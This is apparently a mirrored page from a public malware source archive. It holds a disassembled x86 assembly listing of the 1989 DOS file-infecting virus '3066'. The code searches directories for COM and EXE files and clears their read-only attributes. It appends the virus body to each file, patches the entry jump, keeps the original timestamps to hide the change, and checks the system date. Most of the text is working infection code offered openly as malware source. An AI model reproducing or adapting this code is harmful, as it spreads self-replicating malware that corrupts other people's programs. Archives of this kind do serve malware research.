mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
1492 lines
38 KiB
NASM
1492 lines
38 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ 3066 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 19-Mar-89 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: QRS ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
.286c
|
|
|
|
data_1e equ 24h ; (0000:0024=45h)
|
|
data_2e equ 26h ; (0000:0026=3D1h)
|
|
data_3e equ 70h ; (0000:0070=0FF53h)
|
|
data_4e equ 72h ; (0000:0072=0F000h)
|
|
data_5e equ 80h ; (0000:0080=1094h)
|
|
data_6e equ 82h ; (0000:0082=123h)
|
|
data_7e equ 84h ; (0000:0084=109Eh)
|
|
data_8e equ 86h ; (0000:0086=123h)
|
|
data_9e equ 90h ; (0000:0090=156h)
|
|
data_10e equ 92h ; (0000:0092=44Bh)
|
|
data_11e equ 9Ch ; (0000:009C=0BCh)
|
|
data_13e equ 0B3h ; (0000:00B3=1)
|
|
data_14e equ 0C8h ; (0000:00C8=0DAh)
|
|
data_15e equ 0D1h ; (0000:00D1=10h)
|
|
data_16e equ 0DFh ; (0000:00DF=1)
|
|
data_17e equ 0E3h ; (0000:00E3=1)
|
|
data_18e equ 0EAh ; (0000:00EA=123h)
|
|
data_19e equ 0ECh ; (0000:00EC=10DAh)
|
|
data_20e equ 0EEh ; (0000:00EE=23h)
|
|
data_21e equ 0F1h ; (0000:00F1=10h)
|
|
data_22e equ 151h ; (0000:0151=0EAh)
|
|
data_23e equ 153h ; (0000:0153=0A6F0h)
|
|
data_24e equ 155h ; (0000:0155=0EAh)
|
|
data_25e equ 449h ; (0000:0449=3)
|
|
data_26e equ 972h ; (0000:0972=74h)
|
|
data_27e equ 80h ; (00AE:0080=0FFh)
|
|
data_28e equ 0A0h ; (5E5F:00A0=0FFh)
|
|
data_29e equ 0F00h ; (5E5F:0F00=0FFh)
|
|
data_30e equ 0FA0h ; (5E5F:0FA0=0FFh)
|
|
data_31e equ 0FF60h ; (5E5F:FF60=0FFFFh)
|
|
data_32e equ 0E0h ; (683D:00E0=0FFFFh)
|
|
data_33e equ 0 ; (6FB8:0000=0)
|
|
data_34e equ 4 ; (6FB8:0004=0)
|
|
data_35e equ 5 ; (6FB8:0005=0)
|
|
data_36e equ 87h ; (6FB8:0087=0)
|
|
data_37e equ 0A0h ; (6FB8:00A0=0)
|
|
data_38e equ 0DFh ; (6FB8:00DF=0)
|
|
data_39e equ 0E0h ; (6FB8:00E0=0)
|
|
data_40e equ 0E2h ; (6FB8:00E2=0)
|
|
data_41e equ 0E3h ; (6FB8:00E3=0)
|
|
data_42e equ 0E4h ; (6FB8:00E4=0)
|
|
data_43e equ 0E6h ; (6FB8:00E6=0)
|
|
data_44e equ 0E8h ; (6FB8:00E8=0)
|
|
data_45e equ 0EAh ; (6FB8:00EA=0)
|
|
data_46e equ 0ECh ; (6FB8:00EC=0)
|
|
data_47e equ 0EEh ; (6FB8:00EE=0)
|
|
data_48e equ 0EFh ; (6FB8:00EF=0)
|
|
data_49e equ 0F1h ; (6FB8:00F1=0)
|
|
data_50e equ 0F3h ; (6FB8:00F3=0)
|
|
data_51e equ 0F5h ; (6FB8:00F5=0)
|
|
data_93e equ 100h ; (7188:0100=0)
|
|
data_94e equ 0E2h ; (969B:00E2=0)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
3066 proc far
|
|
|
|
start:
|
|
jmp loc_5 ; (0243)
|
|
db 01h,0B4h
|
|
data_54 dw 0CD09h ; Data table (indexed access)
|
|
; xref 6FB8:0ADC, 0B5E, 0BA4, 0C67
|
|
; 0C7B, 0CCB, 0CD4
|
|
db 21h,0B8h, 00h, 4Ch,0CDh, 21h
|
|
db 'This program only exists to beco'
|
|
|
|
|
|
|
|
|
|
|
|
db 'me infected - COM version', 0Dh, 0Ah
|
|
|
|
|
|
|
|
|
|
db '$'
|
|
db 8Dh, 16h, 0Dh,0FFh,0FFh, 00h
|
|
db 01h, 8Ch
|
|
data_56 dw 4D10h ; Data table (indexed access)
|
|
; xref 6FB8:0270, 02DC, 046C
|
|
data_57 dw 6FB8h ; Data table (indexed access)
|
|
; xref 6FB8:0276, 02E0, 0470
|
|
data_58 db 0 ; Data table (indexed access)
|
|
; xref 6FB8:0387, 03C8, 0608, 06A4
|
|
db 8Dh, 16h, 0Dh,0FFh,0FFh, 09h
|
|
db 0CDh, 21h,0B8h, 00h, 4Ch,0CDh
|
|
db '!This program on', 0Dh, 0Ah, '$'
|
|
|
|
|
|
|
|
db 27 dup (0)
|
|
db 50h, 4Ch, 49h, 43h
|
|
db 60 dup (0)
|
|
db 01h, 3Fh
|
|
db 7 dup (3Fh)
|
|
db 43h, 4Fh, 4Dh, 20h, 00h
|
|
db 7 dup (0)
|
|
db 20h, 96h, 66h,0D7h, 12h, 4Ch
|
|
db 00h, 00h, 00h
|
|
db 'TSTJ3066.COM'
|
|
|
|
db 00h, 00h, 01h, 3Fh
|
|
db 10 dup (3Fh)
|
|
db 10h, 05h
|
|
db 7 dup (0)
|
|
db 20h,0E9h, 11h,0B5h, 12h,0F6h
|
|
db 48h, 02h, 00h
|
|
db 'CAT-TWO.ARC'
|
|
|
|
db 00h, 00h, 00h, 00h,0BCh, 0Eh
|
|
db 00h, 00h, 20h, 00h, 72h, 49h
|
|
db 73h, 12h,0EBh, 04h,0DDh, 0Ch
|
|
db 00h, 00h, 00h, 51h, 59h, 8Bh
|
|
db 0Fh, 20h, 00h
|
|
db 56h, 47h, 31h
|
|
loc_5: ; xref 6FB8:0100
|
|
jmp short loc_6 ; (0247)
|
|
db 0F5h, 0Bh
|
|
loc_6: ; xref 6FB8:0243
|
|
call sub_17 ; (08BB)
|
|
call sub_15 ; (0875)
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov ds:data_22e[si],si ; (0000:0151=0EAh)
|
|
add word ptr ds:data_22e[si],884h ; (0000:0151=0EAh)
|
|
mov ds:data_23e[si],cs ; (0000:0153=0A6F0h)
|
|
mov ds:data_17e[si],al ; (0000:00E3=1)
|
|
call sub_10 ; (076E)
|
|
mov dl,ds:data_94e[di] ; (969B:00E2=0)
|
|
mov ax,ds
|
|
push cs
|
|
pop ds
|
|
jnz loc_8 ; Jump if not zero
|
|
mov data_56[si],984h ; (6FB8:0151=4D10h)
|
|
mov data_57[si],ax ; (6FB8:0153=6FB8h)
|
|
cmp dl,0FFh
|
|
je loc_8 ; Jump if equal
|
|
mov ah,0Eh
|
|
int 21h ; DOS Services ah=function 0Eh
|
|
; set default drive dl (0=a:)
|
|
loc_8: ; xref 6FB8:026E, 027D
|
|
mov byte ptr ds:[872h][si],80h ; (6FB8:0872=0FFh)
|
|
mov word ptr ds:data_48e[si],0 ; (6FB8:00EF=0)
|
|
mov ah,2Ah ; '*'
|
|
int 21h ; DOS Services ah=function 2Ah
|
|
; get date, cx=year, dx=mon/day
|
|
cmp cx,7C4h
|
|
jge loc_9 ; Jump if > or =
|
|
jmp short loc_12 ; (02C2)
|
|
db 0BDh, 09h,0BCh, 0Eh, 00h
|
|
loc_9: ; xref 6FB8:0296
|
|
jg loc_10 ; Jump if >
|
|
cmp dh,0Ch
|
|
jl loc_12 ; Jump if <
|
|
cmp dl,5
|
|
jl loc_12 ; Jump if <
|
|
cmp dl,1Ch
|
|
jl loc_11 ; Jump if <
|
|
loc_10: ; xref 6FB8:029F
|
|
mov word ptr ds:[877h][si],0FFDCh ; (6FB8:0877=8EC0h)
|
|
mov byte ptr ds:[872h][si],88h ; (6FB8:0872=0FFh)
|
|
loc_11: ; xref 6FB8:02AE
|
|
cmp byte ptr [si+4],0F8h
|
|
nop ;*ASM fixup - displacement
|
|
jae loc_13 ; Jump if above or =
|
|
loc_12: ; xref 6FB8:0298, 02A4, 02A9, 0356
|
|
mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
|
|
jmp loc_30 ; (0460)
|
|
cmp byte ptr [si+4],0F8h
|
|
nop ;*ASM fixup - displacement
|
|
jae loc_13 ; Jump if above or =
|
|
or byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh)
|
|
loc_13: ; xref 6FB8:02C0, 02D0
|
|
mov byte ptr ds:data_38e[si],0 ; (6FB8:00DF=0)
|
|
mov dx,data_56[si] ; (6FB8:0151=4D10h)
|
|
mov ds,data_57[si] ; (6FB8:0153=6FB8h)
|
|
mov ax,4300h
|
|
call sub_1 ; (0436)
|
|
jc loc_14 ; Jump if carry Set
|
|
mov cs:data_51e[si],cx ; (6FB8:00F5=0)
|
|
and cl,0FEh
|
|
mov ax,4301h
|
|
call sub_1 ; (0436)
|
|
jc loc_14 ; Jump if carry Set
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jc loc_14 ; Jump if carry Set
|
|
push cs
|
|
pop ds
|
|
mov ds:data_48e[si],ax ; (6FB8:00EF=0)
|
|
mov bx,ax
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ds:data_49e[si],cx ; (6FB8:00F1=0)
|
|
mov ds:data_50e[si],dx ; (6FB8:00F3=0)
|
|
dec byte ptr [si+4]
|
|
nop ;*ASM fixup - displacement
|
|
mov dx,word ptr ds:[880h][si] ; (6FB8:0880=687h)
|
|
mov cx,word ptr ds:[882h][si] ; (6FB8:0882=90h)
|
|
add dx,4
|
|
nop ;*ASM fixup - sign extn byte
|
|
adc cx,0
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
loc_14: ; xref 6FB8:02EA, 02FA, 0301
|
|
push cs
|
|
pop ds
|
|
test byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh)
|
|
jz loc_15 ; Jump if zero
|
|
call sub_3 ; (051F)
|
|
jmp loc_30 ; (0460)
|
|
loc_15: ; xref 6FB8:0337
|
|
xor dl,dl ; Zero register
|
|
mov ah,47h ; 'G'
|
|
push si
|
|
add si,46h
|
|
int 21h ; DOS Services ah=function 47h
|
|
; get present dir,drive dl,1=a:
|
|
pop si
|
|
cmp byte ptr ds:data_47e[si],0 ; (6FB8:00EE=0)
|
|
jne loc_16 ; Jump if not equal
|
|
call sub_2 ; (0444)
|
|
jnc loc_17 ; Jump if carry=0
|
|
loc_16: ; xref 6FB8:034F
|
|
jmp loc_12 ; (02C2)
|
|
loc_17: ; xref 6FB8:0354, 0433
|
|
mov dx,si
|
|
add dx,data_36e ; (6FB8:0087=0)
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
mov word ptr [si+5],2E2Ah
|
|
mov word ptr [si+7],4F43h
|
|
mov word ptr [si+9],4Dh
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,si
|
|
add dx,5
|
|
loc_18: ; xref 6FB8:03A7
|
|
mov cx,20h
|
|
call sub_1 ; (0436)
|
|
jc loc_21 ; Jump if carry Set
|
|
mov dx,si
|
|
add dx,0A5h
|
|
mov data_58[si],0 ; (6FB8:0155=0)
|
|
call sub_4 ; (0535)
|
|
jc loc_20 ; Jump if carry Set
|
|
call sub_3 ; (051F)
|
|
loc_19: ; xref 6FB8:039C
|
|
jmp loc_29 ; (0454)
|
|
loc_20: ; xref 6FB8:038F
|
|
cmp byte ptr ds:data_20e[si],0 ; (0000:00EE=23h)
|
|
jne loc_19 ; Jump if not equal
|
|
cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh)
|
|
jne loc_25 ; Jump if not equal
|
|
mov ah,4Fh ; 'O'
|
|
jmp short loc_18 ; (0379)
|
|
loc_21: ; xref 6FB8:037F
|
|
mov word ptr [si+7],5845h
|
|
mov word ptr [si+9],45h
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,si
|
|
add dx,5
|
|
loc_22: ; xref 6FB8:03E9
|
|
mov cx,20h
|
|
call sub_1 ; (0436)
|
|
jc loc_25 ; Jump if carry Set
|
|
mov dx,si
|
|
add dx,0A5h
|
|
mov data_58[si],0 ; (6FB8:0155=0)
|
|
call sub_4 ; (0535)
|
|
jc loc_24 ; Jump if carry Set
|
|
call sub_3 ; (051F)
|
|
loc_23: ; xref 6FB8:03DE
|
|
jmp short loc_29 ; (0454)
|
|
db 90h
|
|
loc_24: ; xref 6FB8:03D0
|
|
cmp byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
|
|
jne loc_23 ; Jump if not equal
|
|
cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh)
|
|
jne loc_25 ; Jump if not equal
|
|
mov ah,4Fh ; 'O'
|
|
jmp short loc_22 ; (03BA)
|
|
loc_25: ; xref 6FB8:03A3, 03C0, 03E5
|
|
call sub_2 ; (0444)
|
|
mov dx,si
|
|
add dx,data_13e ; (0000:00B3=1)
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
loc_26: ; xref 6FB8:0424
|
|
mov ah,4Fh ; 'O'
|
|
mov cx,10h
|
|
cmp byte ptr ds:data_16e[si],0 ; (0000:00DF=1)
|
|
jne loc_27 ; Jump if not equal
|
|
mov byte ptr ds:data_16e[si],1 ; (0000:00DF=1)
|
|
mov word ptr [si+5],2E2Ah
|
|
mov word ptr [si+7],2Ah
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,si
|
|
add dx,5
|
|
loc_27: ; xref 6FB8:0402
|
|
call sub_1 ; (0436)
|
|
jc loc_29 ; Jump if carry Set
|
|
test byte ptr ds:data_14e[si],10h ; (0000:00C8=0DAh)
|
|
jz loc_26 ; Jump if zero
|
|
mov dx,si
|
|
add dx,data_15e ; (0000:00D1=10h)
|
|
mov ah,3Bh ; ';'
|
|
call sub_1 ; (0436)
|
|
jc loc_29 ; Jump if carry Set
|
|
jmp loc_17 ; (0359)
|
|
|
|
3066 endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450
|
|
; 0571, 0582, 058A
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
jc loc_ret_28 ; Jump if carry Set
|
|
test byte ptr cs:data_47e[si],0FFh ; (6FB8:00EE=0)
|
|
jz loc_ret_28 ; Jump if zero
|
|
stc ; Set carry flag
|
|
|
|
loc_ret_28: ; xref 6FB8:0438, 0440
|
|
retn
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0351, 03EB, 0454
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
mov word ptr [si+5],5Ch
|
|
mov dx,si
|
|
add dx,5
|
|
mov ah,3Bh ; ';'
|
|
call sub_1 ; (0436)
|
|
retn
|
|
sub_2 endp
|
|
|
|
loc_29: ; xref 6FB8:0394, 03D5, 041D, 0431
|
|
call sub_2 ; (0444)
|
|
mov dx,si
|
|
add dx,46h
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
loc_30: ; xref 6FB8:02C8, 033C
|
|
mov bx,ds:data_48e[si] ; (6FB8:00EF=0)
|
|
or bx,bx ; Zero ?
|
|
jz loc_32 ; Jump if zero
|
|
mov cx,ds:data_51e[si] ; (6FB8:00F5=0)
|
|
mov dx,data_56[si] ; (6FB8:0151=4D10h)
|
|
mov ds,data_57[si] ; (6FB8:0153=6FB8h)
|
|
cmp cx,20h
|
|
je loc_31 ; Jump if equal
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
loc_31: ; xref 6FB8:0477
|
|
push cs
|
|
pop ds
|
|
mov cx,ds:data_49e[si] ; (6FB8:00F1=0)
|
|
mov dx,ds:data_50e[si] ; (6FB8:00F3=0)
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
loc_32: ; xref 6FB8:0466
|
|
mov dl,ds:data_41e[si] ; (6FB8:00E3=0)
|
|
mov ah,0Eh
|
|
int 21h ; DOS Services ah=function 0Eh
|
|
; set default drive dl (0=a:)
|
|
call sub_16 ; (089A)
|
|
pop ax
|
|
mov ds:data_39e[si],ax ; (6FB8:00E0=0)
|
|
cmp byte ptr [si+3],0FFh
|
|
je loc_33 ; Jump if equal
|
|
add ax,10h
|
|
add [si+2],ax
|
|
pop ax
|
|
pop ds
|
|
;* jmp dword ptr cs:[si] ;*1 entry
|
|
db 0FFh, 2Ch
|
|
loc_33: ; xref 6FB8:04A5
|
|
call sub_10 ; (076E)
|
|
push cs
|
|
pop ds
|
|
mov ax,[si]
|
|
mov word ptr ds:[100h],ax ; (6FB8:0100=40E9h)
|
|
mov al,[si+2]
|
|
mov byte ptr ds:[102h],al ; (6FB8:0102=1)
|
|
jz loc_34 ; Jump if zero
|
|
mov bx,ds
|
|
add bx,1D0h
|
|
mov es,bx
|
|
mov di,si
|
|
mov dx,si
|
|
mov cx,0BFAh
|
|
call sub_20 ; (0D32)
|
|
mov cx,dx
|
|
mov si,dx
|
|
dec si
|
|
mov di,si
|
|
std ; Set direction flag
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
push ds
|
|
pop es
|
|
mov di,data_93e ; (7188:0100=0)
|
|
mov ds,bx
|
|
mov si,dx
|
|
mov cx,0BFAh
|
|
call sub_20 ; (0D32)
|
|
mov si,100h
|
|
push cs
|
|
pop ds
|
|
call sub_13 ; (07CD)
|
|
mov dx,1D0h
|
|
loc_34: ; xref 6FB8:04C2
|
|
mov di,cs
|
|
add di,dx
|
|
mov word ptr [si+5],100h
|
|
mov [si+7],di
|
|
pop ax
|
|
pop ds
|
|
mov ds,di
|
|
mov es,di
|
|
mov ss,di
|
|
xor bx,bx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
xor bp,bp ; Zero register
|
|
;* jmp dword ptr cs:[si+5] ;*1 entry
|
|
db 0FFh, 6Ch, 05h
|
|
loc_35: ; xref 6FB8:0574, 0585, 058D
|
|
mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0)
|
|
retn
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0339, 0391, 03D2
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
mov bx,ds:data_48e[si] ; (6FB8:00EF=0)
|
|
or bx,bx ; Zero ?
|
|
jz loc_ret_36 ; Jump if zero
|
|
mov dx,si
|
|
add dx,data_34e ; (6FB8:0004=0)
|
|
nop ;*ASM fixup - sign extn byte
|
|
mov cx,1
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
|
|
loc_ret_36: ; xref 6FB8:0525
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:038C, 03CD
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
push dx
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
add al,41h ; 'A'
|
|
mov ah,3Ah ; ':'
|
|
mov word ptr ds:[884h][si],ax ; (6FB8:0884=8489h)
|
|
mov byte ptr ds:[886h][si],5Ch ; (6FB8:0886=0EAh) '\'
|
|
push si
|
|
add si,offset ds:[887h] ; (6FB8:0887=0)
|
|
mov ah,47h ; 'G'
|
|
mov di,si
|
|
xor dl,dl ; Zero register
|
|
int 21h ; DOS Services ah=function 47h
|
|
; get present dir,drive dl,1=a:
|
|
pop si
|
|
dec di
|
|
loc_37: ; xref 6FB8:055B
|
|
inc di
|
|
mov al,[di]
|
|
or al,al ; Zero ?
|
|
jnz loc_37 ; Jump if not zero
|
|
pop bx
|
|
mov byte ptr [di],5Ch ; '\'
|
|
inc di
|
|
mov dx,bx
|
|
loc_38: ; xref 6FB8:056C
|
|
mov al,[bx]
|
|
mov [di],al
|
|
inc bx
|
|
inc di
|
|
or al,al ; Zero ?
|
|
jnz loc_38 ; Jump if not zero
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
;
|
|
; Called from: 6FB8:097E
|
|
|
|
sub_5:
|
|
mov ax,4300h
|
|
call sub_1 ; (0436)
|
|
jc loc_35 ; Jump if carry Set
|
|
mov cs:data_42e[si],cx ; (6FB8:00E4=0)
|
|
and cx,0FEh
|
|
mov ax,4301h
|
|
call sub_1 ; (0436)
|
|
jc loc_35 ; Jump if carry Set
|
|
mov ax,3D02h
|
|
call sub_1 ; (0436)
|
|
jc loc_35 ; Jump if carry Set
|
|
mov bx,ax
|
|
push ds
|
|
push dx
|
|
call sub_6 ; (05BD)
|
|
pop dx
|
|
pop ds
|
|
pushf ; Push flags
|
|
mov cx,cs:data_42e[si] ; (6FB8:00E4=0)
|
|
cmp cx,20h
|
|
je loc_39 ; Jump if equal
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
loc_39: ; xref 6FB8:05A1
|
|
mov cx,cs:data_43e[si] ; (6FB8:00E6=0)
|
|
mov dx,cs:data_44e[si] ; (6FB8:00E8=0)
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
popf ; Pop flags
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0593
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
push cs
|
|
pop ds
|
|
mov ds:data_43e[si],cx ; (6FB8:00E6=0)
|
|
mov ds:data_44e[si],dx ; (6FB8:00E8=0)
|
|
mov dx,si
|
|
add dx,0Dh
|
|
mov di,dx
|
|
mov ah,3Fh ; '?'
|
|
mov cx,1Ch
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
cmp word ptr [di],5A4Dh
|
|
je loc_42 ; Jump if equal
|
|
call sub_9 ; (0764)
|
|
add ax,0CF5h
|
|
jc loc_ret_40 ; Jump if carry Set
|
|
cmp byte ptr [di],0E9h
|
|
jne loc_41 ; Jump if not equal
|
|
mov dx,[di+1]
|
|
xor cx,cx ; Zero register
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,di
|
|
add dx,1Ch
|
|
mov ah,3Fh ; '?'
|
|
mov cx,3
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
call sub_7 ; (06AB)
|
|
jnc loc_41 ; Jump if carry=0
|
|
mov cs:data_58[si],1 ; (6FB8:0155=0)
|
|
|
|
loc_ret_40: ; xref 6FB8:05E6
|
|
retn
|
|
loc_41: ; xref 6FB8:05EB, 0606
|
|
call sub_9 ; (0764)
|
|
mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h)
|
|
mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h)
|
|
push ax
|
|
mov word ptr [di+3],0FFFFh
|
|
mov cx,5
|
|
mov ah,40h ; '@'
|
|
mov dx,di
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov dx,si
|
|
add dx,5
|
|
mov cx,0BF5h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov byte ptr [di],0E9h
|
|
pop ax
|
|
add ax,0F7h
|
|
mov [di+1],ax
|
|
mov dx,di
|
|
mov cx,3
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_42: ; xref 6FB8:05DE
|
|
cmp word ptr [di+0Ch],0FFFFh
|
|
jne loc_43 ; Jump if not equal
|
|
push si
|
|
mov si,[di+14h]
|
|
mov cx,[di+16h]
|
|
mov ax,cx
|
|
mov cl,ch
|
|
xor ch,ch ; Zero register
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shr cx,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
add si,ax
|
|
adc cx,0
|
|
sub si,3
|
|
sbb cx,0
|
|
mov ax,[di+8]
|
|
call sub_8 ; (0751)
|
|
add si,ax
|
|
adc cx,dx
|
|
mov dx,si
|
|
pop si
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,di
|
|
add dx,1Ch
|
|
mov ah,3Fh ; '?'
|
|
mov cx,3
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
call sub_7 ; (06AB)
|
|
jnc loc_46 ; Jump if carry=0
|
|
mov cs:data_58[si],1 ; (6FB8:0155=0)
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
;
|
|
; Called from: 6FB8:0603, 069F
|
|
|
|
sub_7:
|
|
cmp word ptr [di+1Ch],4756h
|
|
jne loc_45 ; Jump if not equal
|
|
cmp byte ptr [di+1Eh],31h ; '1'
|
|
jne loc_45 ; Jump if not equal
|
|
loc_43: ; xref 6FB8:0657
|
|
stc ; Set carry flag
|
|
|
|
loc_ret_44: ; xref 6FB8:06E0
|
|
retn
|
|
loc_45: ; xref 6FB8:06B0, 06B6
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_46: ; xref 6FB8:06A2
|
|
call sub_9 ; (0764)
|
|
